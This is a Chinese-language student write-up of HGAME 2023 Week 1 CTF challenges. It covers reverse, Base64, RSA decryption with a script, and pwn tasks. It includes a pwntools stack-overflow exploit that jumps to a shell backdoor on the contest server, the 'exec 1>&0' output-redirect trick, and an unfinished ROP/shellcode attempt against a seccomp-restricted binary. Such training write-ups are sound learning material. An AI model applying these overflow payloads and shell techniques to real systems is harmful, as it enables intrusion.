

# HGAME 2023 Week1 writeup by ff1y

---

## Table of Contents

HGAME 2023 Week1 writeup by ff1y	.....
REVERSE	.....
test your IDA	.....
MISC	.....
Sign In	.....
CRYPTO	.....
RSA	.....
PWN	.....
test_nc	.....
easy_overflow	.....
orw	.....

## REVERSE

---

### test your IDA

下载附件，拉到ida里，按f5就能看到flag

## MISC

---

### Sign In

Base64解码，找了个在线解码网站，输进去就能解

## CRYPTO

---

### RSA

本来想试一下密码学实验课写的代码，果然还是太脆弱了，就在网上找了个脚本，竟然能用。因为解码需要知道p和q，但题目只给了n ( $=p*q$ )，所以用一个网站分解大整数

一开始报错发现没装gmpy2，装一下flag就解出来了

```

import gmpy2
import binascii
p=120229126614209415925697517318026393750884274634301622521130826196178370109130025154
50223656942836378041122163833359097910935638423464006252814266959128953
q=112391349878049935867635590281872450576525502195152017686447707338690881853207409384
50178816138394844329723311433549899499795775655921261664087997097294813
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643
21673955545394619607811083472637547598179122306945136402418195281805680208956706492651
02941245941744781232165166003683347638492069429428247115313342391068074540863892111391
53023662266125937481669520771879355089997671125020789

e = 65537

c =
11067479267401774824323235118589601966043471834200168690652778987626497632868613410197
21254939384349927870029155625004754806932973608676810000927255832846163535434223884892
08114545007138606543678040798651836027433383282177081034151589935024292017207209056829
250152219183518400364871109559825679273502274955582

phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)

print(binascii.unhexlify(hex(m)[2:]))

```

## PWN

### test\_nc

用nc连一下，ls能看到有一个flag文件，cat flag打开，得到flag

### easy\_overflow

checksec看一下保护

```

Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)

```

拖进ida，发现read函数有一个栈溢出漏洞,buf大小为0x10

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char buf[16]; // [rsp+0h] [rbp-10h] BYREF

    close(1);
    read(0, buf, 0x100uLL);
    return 0;
}
```

直接给了后门函数

```
int b4ckd0or()
{
    return system("/bin/sh");
}
```

函数地址为0x401176

```
text:0000000000401176 endbr64
text:000000000040117A push    rbp
text:000000000040117B mov     rbp, rsp
text:000000000040117E lea     rdi, command    ; "/bin/sh"
text:0000000000401185 call    _system
text:000000000040118A nop
text:000000000040118B pop     rbp
text:000000000040118C retn
text:000000000040118C ; } // starts at 401176
text:000000000040118C b4ckd0or endp
```

exp:

```
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('week-1.hgame.lwsec.cn',32571)
#io=process("./over")

door = 0x401176
ret = 0x40101a
payload = b'a'*0x18 + p64(door)

#gdb.attach(io)
io.sendline(payload)
io.interactive()
```

但是不太行

```
write error: Bad file descriptor
```

猜会不会是close的原因，也得到了学长的确认

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char buf[16]; // [rsp+0h] [rbp-10h] BYREF

    close(1);
    read(0, buf, 0x100uLL);
    return 0;
}
```

close(1)是关闭标准输出，0和1是linux下的文件描述符。0是标准输入，1是标准输出，2是标准错误。如果此时去打开一个新的文件，它的文件描述符会是3。

标准输入输出的指向是默认的，我们可以修改它们的指向，也即重定位，做法是输入一条exec 1>&0命令，也就是把标准输出重定向到标准输入，因为默认打开一个终端后，0，1，2都指向同一个位置也就是当前终端，所以这条语句相当于重启了标准输出，此时就可以执行命令并且看得到输出了

## orw

选座没什么思路，orw还能知道点方向，就一直在看这题，可惜还是没做出来，但也学到了很多。

开启了栈不可执行和部分开启堆栈地址随机化

```
ff1y@ubuntu:~$ checksec --file=orw
[*] '/home/ff1y/orw'
  Arch:       amd64-64-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x400000)
```

程序开了seccomp机制

可以看到execve和execveat都被禁用了，只能用open，read，write函数

```
ff1y@ubuntu:~$ seccomp-tools dump ./orw
line  CODE  JT   JF      K
=====
0000: 0x20 0x00 0x00 0x00000000  A = sys_number
0001: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0004
0002: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0004
0003: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0004: 0x06 0x00 0x00 0x00000000  return KILL
```

虽然无法getshell，但题目只需要拿到flag就行了，所以可以用open打开flag文件，用read读取，再用write输出。

因为网上看到很多是自己写或者用shellcraft写shellcode到bss段，然后栈迁移过去执行，并且我还在ida里看到 `&_bss_start`，就迷之自信觉得这题肯定也是这样，都没有去看一眼bss段有没有执行权限，直到我看到终于就要执行我的shellcode的时候，却出错了，才去想着看一眼执行权限

```
RBP 0x6161616161616161 ('aaaaaaaa')
*RSP 0x404258 ← 0x0
*RIP 0x404148 ← 0x10101010101b848

0x7fa227025fd8 <read+24>  ja      read+112      <read+112>
0x7fa227025fda <read+26>  ret
↓
0x4012ed      <vuln+45>  nop
0x4012ee      <vuln+46>  leave
0x4012ef      <vuln+47>  ret
↓
► 0x404148      movabs  rax, 0x101010101010101
0x404152      push   rax
0x404153      movabs  rax, 0x10166606d672e2f
0x40415d      xor     qword ptr [rsp], rax
0x404161      mov     rdi, rsp
0x404164      xor     edx, edx

00:0000 | rsp 0x404258 ← 0x0
... ↓      7 skipped

► f 0      0x404148
f 1      0x0

pwndbg> si

Program received signal SIGSEGV, Segmentation fault.
```

竟然没有执行权限，真后悔没有一开始看一眼。

Start	End	Perm	Size	Offset	File
0x3ff000	0x400000	rw-p	1000	0	/home/ff1y/orw
0x400000	0x401000	r--p	1000	1000	/home/ff1y/orw
0x401000	0x402000	r-xp	1000	2000	/home/ff1y/orw
0x402000	0x403000	r--p	1000	3000	/home/ff1y/orw
0x403000	0x404000	r--p	1000	3000	/home/ff1y/orw
0x404000	0x405000	rw-p	1000	4000	/home/ff1y/orw

学长说可以用rop，也可以修改内存的权限或者申请一块有执行权限的内存。本人比较懒，就去尝试比较熟悉的rop了

如果要执行read和write，需要控制rdi，rsi和rdx三个寄存器的值，但是我找不到pop rdx的片段，就尝试用ret2csu。但是我不清楚open函数的执行到底需要哪些参数

```
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
```

我猜是open('flag'的地址, 0)，但是好像不行

```
► 0x7fecb26fcd39 <open64+89>      syscall <SYS_openat>
    fd: 0xffffffff9c
    file: 0x404148 ← 0x67616c66 /* 'flag' */
    oflag: 0x0
    vararg: 0x0
```

执行完rax=-2

现在想想突然觉得第一个参数（写到栈上的时候）是不是需要是'flag'的地址的地址

还是这个vararg需要为什么

最后就到这，时间也超了